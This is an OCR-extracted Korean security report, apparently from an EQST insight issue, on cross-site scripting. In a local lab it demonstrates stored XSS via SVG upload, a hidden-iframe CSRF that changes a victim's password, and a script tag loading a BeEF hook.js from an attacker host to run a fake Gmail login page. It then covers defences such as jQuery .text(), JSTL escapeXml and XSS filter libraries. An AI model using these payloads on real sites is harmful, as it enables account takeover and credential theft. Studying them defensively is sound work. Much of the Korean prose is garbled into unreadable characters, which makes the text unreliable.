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OFE alert 45 ol XSS Fokd EA oRE wostsdl, ol¥ol: confirm, prompt
javascript &5 AR 4 Atk SHARF olA ¥ A Zole HIILEO| tisiAd TE o] A8H
7497t diREol7] W&o dezA] F2 eaet HAES AHESte] BlackList Filter 5 9393 &=
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— https://portswigger.net/web—security/cross—site—scripting/cheat—sheet
— https://github.com/RenwaX23/XSS—Payloads/blob/master/Payloads.txt
— https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
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step 3) Stored XSS F g oz Qs FHYATHET} Aol Ao} F2F
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step 1) PAATHEZE T svg LS AH o] J=E

alert('Xss');

/ Unrestricted Fie uPIoacl /

Please upload an image:

| Browse... |[file.svg]

| Upload |

The image has been uploaded here.

localhost:82/images/fils

O [ localhost

@ localhost:82
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Case 3) CSRF(Cross Site Request Forgery)

CSRE & AHgA} dmshd] e Age +ast=s qEste 3402, Agae AT
B} Sl WSS A Aol
ksl 1—6 /\ O]q
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o Stored XSS FeFgo] Sl AT HAYES WA=
AREAZE S AXZS 285 F4A9] oEdzE sjAfETE MARE Ao,

step 1) FAZE A= HA Al ARREE mEE 25

L CSRE (Change Password) /

Change your password.

New password:
Re-type new password:

Change

[ The password has been changed!||
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step ) FAAE Stored XSS FOFHol EAsk: ANl FAA A4
MRS fEske ATYE TE A

oF IJARE (eqst) 2

/ XSS - Stored (Blog) /

<iframe src="http://localhost:82/csrf 1.php?password new=eqst&password conf=eqst&
action=change” width=0=</iframe=

i
| Submit | Add: Show all: Delete: OJ
# Owner Date Entry
AAMZ =Hd 20t
1 B 2022-11-09
02:21:15

11—

step 3) &ARTE 23T AXZE LEE A8 A (user) 2 213 A7 23]

= Password Create User Set Security Level Reset Credits

B|Oﬁ I_oaou+

/ XSS - Stored ( B\og) /

Submit | Add: Show all: (J Delete: [J  Please enter some text...
# Owner Date Entry
2022-11-09
1 bee
02:21:15

EQST insight | 8



step 4) MAAS WA 2TYES Bastol At AGAE J1ES] HAYER 29 B}

Login:

user

Password:

Set the security level:

low v

Login |

Invalid credentials or user not activated!

sjo] XISk Zo] XSS HFHL olgstel FAA} Ak FAL sh AAYE TEL AU
CSRF 3245k ST 4 SIF% CSRE At U4 5 AT WSE U AFA AAUZ 49 ol
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2 ZHYHT - BeEF

BeEF(The Browser Exploitation Framework)= ¥ EH=9Ad] $HS & IF HIE

XSS oF dAlste] Tt 342 Asdl & & e ZdldYAoln AHsLAE F6 ds

A 4 9o, TS "idoh= JavaScript T (hook.js)e ZHAIL itk wEbA FA
A= AHAl9] [P F4, Port W98} hook.js W& F4H ~IAHEES n|sizt

{151, XSS 0] 4B BeEF & Bol 700l JPsohd e 342 2 4 ek

Ax] 2 ool URL B ZE|EslolA FHE d=ste] A 4

RL : https://beefproject.com/
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step 1) BeEF A<

You are using the

(Password must be di nt from "beef")

Please type a rd for the
Jusr/bin/beef-xss: 27: [: =: unary opera
GeoIP database is missing

to download / update Maxmind GeoIP database

Web UI: http://127.0.¢

-t
Hook: <script ttp:
Example: <script src="http

service - beef-xss
loaded (/Lib/systemd/system/beef-xss.service; disabled; vend
active (running) since Thu 2822-19-27 01:88:18 EDT; 5s ago

step 2) FAAE S 7 ATHEE AT HA

<script src="http://192.168.0.133:3000/hook. js"==/script> |

| Submit | Add: Show all: 0  Delete: [J  Ypur eniry was added to our blog!
AMZ =g 2t

# Owner Date Entry

2022-11-09
05:01:19

1 bee
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step 3) YRF AREAHuser) = &

Create User

i
)

N
L

Set Securi+y Level

Reset

Credits

/ XSS - Stored (B\oa) /

Submit Add: Show all: (J Delete: [J Please enter some text...
# Owner Date Entry
2022-11-09
1 bee
05:01:19

step 4) LHE ARGAF PC7F 542 PC 9] BebF of A2 et 34 7hs

ArlNM = FHsizt PC ol 2 =19l shdE Hee

wg Agetert.

Hooked Browsers
.4 ) Online Browsers

4 —localhost

@ A @ 7192168013

[_] Offline Browsers

Basic

Requester

Getting Started Logs
Details Logs Commands
Module Tree

Search

= T
[__JPhonegap (16)
4 () Social Engineering (24)
Text to Voice
Clickjacking
Clippy
Fake Flash Update
Fake Notification Bar
Fake Notification Bar (Chrg|
Fake Notification Bar (Firef
Fake Notification Bar (IE)
Lcamtuf Download
Pretty Theft
Replace Videos (Fake Plug!
Simple Hijacker

Spoof Address Bar (data U
TabNabbing
@ Edge WScript WSH Injectic
@ Fake Evernote Web Clippe

& Calce | aciDace

() Ready

Zombies

Proxy || XssRays | Network

Module Results History

id « date label

0 2022-11-09 00:03 command 1

Current Browser

Google Phishing

Description:

Id:

XSS hook URI:

Gmail logout
interval (ms):

Redirect delay
ms):

# BeEF 05.4.0 | Logout

This plugin uses an image tag to XSRF the logout button of Gmail.
Continuously the user is logged out of Gmail (eg. if he is logged in
in another tab). Additionally it will show the Google favicon and a
Gmail phishing page (although the URL is NOT the Gmail URL).

11

http://0.0.0.0:3000/demos/plain.html|

10000

1000
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step 5) DRF ARGAFS] PC sfdo] = wjd 219l sfHoz WA

& Google Mail: Email from

O D localhost EN

Google Newto Goale M7

Google Mail
A Google approach to email. Sign in
Username

‘Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun.
After all, Google Mail has:

b’ Lots of space Password
Over 2757.272164 megabytes (and counting) of free storage.

Less spam
Keep unwanted messages out of your inbox. m Stay signed in

. Can't access your account?
Mobile access g

Get Google Mail on your mobile phone. Learn more

About Google Mail ~ New features!  Switch to Google Mail ~ Create an account

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

’ Take Google Mail to work with Google Apps for Business

Google Mail for Work ~ Terms & Privacy  Help
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B jQuery EF0IAL] XSS
jQuery 27

jQuery = JavaScript & €7 €8 4 J=F LotFE QEALA JHES] JavaScript 2Fo] B R,

el JavaScript WA(js)E EASHY S wUe Adste] ARgghh thygt Heke ) 7t
S-S A Y5t JavaScript ZEF FHEsH] 28T 4 Atk DOM(Document Object Model)
Z2F o[HIE AHe F9| Y-S IHHSH & 4 ks Aol dth

*jQuery & Abgote= WH-2 of 7Hx]7F QA9 CDN(Contents Delivery Network) & 5ol Hx 9]
Az glo] HTML 9] <head) ®iZLeo]l F7Fste] AR o Ut (https://releases.jquery.com/)

jQuery A& Al MIAE 5 html(, .append) & AFEE 7% XSS o Fsfof gty HTML
Bl 4 Al o] B AA=E QIAISH] HATHE ANE A AT 5 7] "Eolth

jQuery &7gollA o] XSS o thet g2 offe] A5 Fsf AAS] AT =+ Ut

— https://portswigger.net/web—security/cross—site—scripting/dom—based

& INE B3 hml0 TAE A A HIML 827k Q450] alert Fo] T 2 g 4
ek,

P I
C L jquery_html,jsp

localhost:80802] T A|X]|
Input X55

J
]

‘ <script>alert("’X55")</script>

Output ($.htmi () )

<script>
$('form").on('submit’, function(e) {
e.preventDefault();
var ov = $(‘#test’).val();
$('#output-html').html(ov);
i

</script>
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jQuery o] ¢tASH HAE ALE

JavaScript 2ol B2je] ¢l jQuery & AtgSte] S-S TAT A9, XSS o] G HAEE AFgsto]
FAL ogsliok Frh hmml() MAEE AHgSt] HTML H17F g oR Ael=s §A oAl
AR HTML Qeighe olAAlo|m AHejste] HAER AQIEHEE ofefo] HAEE AHgsof
Pt ol FAN} AHAIAYEES AYSlE AW Exdz Qs g & z
AT g 5 gk

XSSof| etHTt jQuery HAE

text() ‘ .attr() ‘ .prop() ‘ val()
% attr)9] -9 href 42 o] &3slH XSS 2HE SHASIA] ¢ro] Folsjof qict,

text() WA= AR Al HTML Bj227F 22 iz 4 =o] &9

A

rr
filo

ek
rO
ok
4
30,
AL

G ® fiquery_text.jsp
Input
| <script>alert(XSS')</script> || Submit |

Output ( $.text() )

| <script>alert('XSS') </script>|

<script>
$(‘form").on('submit’, function(e) {
e.preventDefault();
var ov = $('#test").val();
$('#output-text').text(ov);
i

</script>
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jQuery Ajax 2749l XSS

jQuery + $ajax Id=E o]}y X}Xﬂ o2 Ajax(Asynchronous JavaScript And XML)E
2193teh. Ajax 2 JavaScript 9F XML o|-gslo] ZTo|AEL}L AW Zto] Ho|HE H|F7]
AR F c*% ool AHZEH Eﬂ o|HE 7HAE ‘TH Xﬁﬂ o]z & M=yt ¢t
et folgyt E¢& 4 Aok @ AW}t HlE7A FAlS Sl 9% AAIQ] BekeA o
XMLHttpRequest AAE ©]-&s AA Ho|x& M= %io] Jl] 1219 4R 2EshE W
At-gatH, FoE Fetch APl & AR&-SH:,

ru[o

571 YAeR f HolxE BHLE Ajax &= XSS FHo| FHoksitr HlFr] wHAoz
o]z B ol mAo|r] SFATUES} AolETtH ALERF REA TA FT 7} AFLRF Zo|A]
Zghtt, wEba] o]E o]gste] XSS FAL S AMEAL AAZE dE AUeRE AR
=

214, Bl =E 59 orelzel P9 T 4 9ok,

ig
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AR Qleizhat 2z HeRsAY Aoeks WES Fa) XSS 2 ddE 4 AT, HTML
B8 AMgshe Awe] EASAG of Aulrage
XSS BA0] Qg mAL gt BAde nE gePshs AL T} ot

et XSS — @712 ®oA olopriRt HRtthH oo PJAIHETE ARGAL FollAM FESHA]
REE el gtolHeE, nH YT 55 E8ote WUtk AsfoF it

& E°] Spring TIAHNT A& Al Spring Security & ARESEAW, JSP FHAHo|A= JSTL
grolH 2] 5 Fall XSS A & 4 Ut oF Special Report o|A= JSTL & &9 S=4k=
Aot AAE HEH. A8 7Hee deidl Het grolHels oyt A

JSTL oA 9] =3t A=

JSTL & A = 1 2to]E ] (JavaServer Pages Standard Tag Library) 2 JSP ofA =z}
AHEElE= HIIE ALE St golEyes Aot ZE HYIto|oh, AREHo] Zidstil IEE
Aot BAT 4= Qlo] 7tEAJo]l 4 dY, #A B ol felstth

JSTL ©fl+= Core, XML, Database 5 TthFet ej17} ZA5FA|RE, ©]¥H Special Report o4+ JSP
A XSS FH thg 4 U= Core zrolHelg]9] ciout B0 tit W& thETh Egh
escapeXml 5 F9 —E‘—}F—E—Z}% A = EEdte] AREAE d=igtel oo M AIHET
A= Fa6t] ges EH4S AT 5 ok

A3 8 A e T Zon], cout B A Al 918 He A4d mtetnlgnit B1g
o 5t
o RS
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step 1) JSTL gtolHejg] A% & mzAE°] /WEB-INF/lib A=z F713tt.
‘ AX| URL ‘ https://mvnrepository.com/artifact/javax.servlet/jstl

step 2) HIT1E A8 jsp Ho]A] Aol Core gto]Hjg|e} b AR Attt
Core EIO|EE{2] MA | <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
g ALE Mo <%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions” %>

step 3) -8 Tu|Eo| clout BILE FAIRT
‘ cout Al ‘ <cout value="[EH2!]" escapeXml="[truelflase]"/>
% escapeXml £Ad0] trued 97t 712 #olH, E4EAE A Od2 S8 Hnh

gy Heb golBHE A

ojm] FHEolA ¥ zlo]Hzg|el OWASP ESAPI, NAVER Lucy XSS Filter 5& AME5l= Zo]
$8sich S B AQ WA AL Agelor su kebE £49 So| g 4 9oy
ARl FosfloF gk E3F Lucy-XSS-Filter ¢ 7%, JSON o] tigt 832 s 32 97
mzofl ol Holl folste] 2tolBeielE A-gsfof it

— OWASP ESAPI : https://github.com/ESAPI/esapi—java-legacy

— Lucy—XSS—Filter : https://github.com/naver/lucy—xss—servlet—filter

Zojg ge, oS AbERth oA WEA] obds A opunz a4 HA WAL §Askn
gtojB o] e FeH E£2do] A=Al s dAstH &4 oz ddo|Esof qirt.
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Ae7bA] AREARE dggtel ot ASH 483 AU ned AS AR 49
MIATHETE ARBAF FollA FAst= F PR Q1 XSS(Cross—Site Scripting)ofl tisll ¥Fobk it
SAAZE AU AHATHETE AMGA SollA FAste] AR 25 59 daivt TS 4 Sl
ety Mx T 22 4 Fd Be 34 mHdYAE ol &% ot A sl 7Hssit
E3F Y Aol E9] 4 of wret AR 4 QA=

o

©

FRo| tfst E4EA WEHY o 59
=

EQST insight | 19





